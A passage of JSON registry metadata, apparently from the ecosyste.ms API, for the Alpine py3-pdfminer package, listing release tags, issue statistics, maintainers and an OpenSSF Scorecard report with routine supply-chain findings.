tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:19.589Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.20","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":319,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2024-06-12T01:23:52.019Z","updated_at":"2024-06-12T01:23:52.019Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.20","url":"https://pkgs.alpinelinux.org/packages?branch=v3.20","ecosystem":"alpine","default":false,"packages_count":24162,"maintainers_count":405,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-06-07T11:51:39.915Z","updated_at":"2026-04-27T18:20:23.245Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/namespaces"}},{"id":6050000,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":7,"first_release_published_at":"2022-12-20T02:12:46.000Z","latest_release_published_at":"2026-03-27T19:40:25.000Z","latest_release_number":"20260107-r1","last_synced_at":"2026-04-01T03:09:32.866Z","created_at":"2023-01-31T18:20:33.646Z","updated_at":"2026-04-01T03:09:33.097Z","registry_url":"https://pkgs.alpinelinux.org/package/edge/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@2022052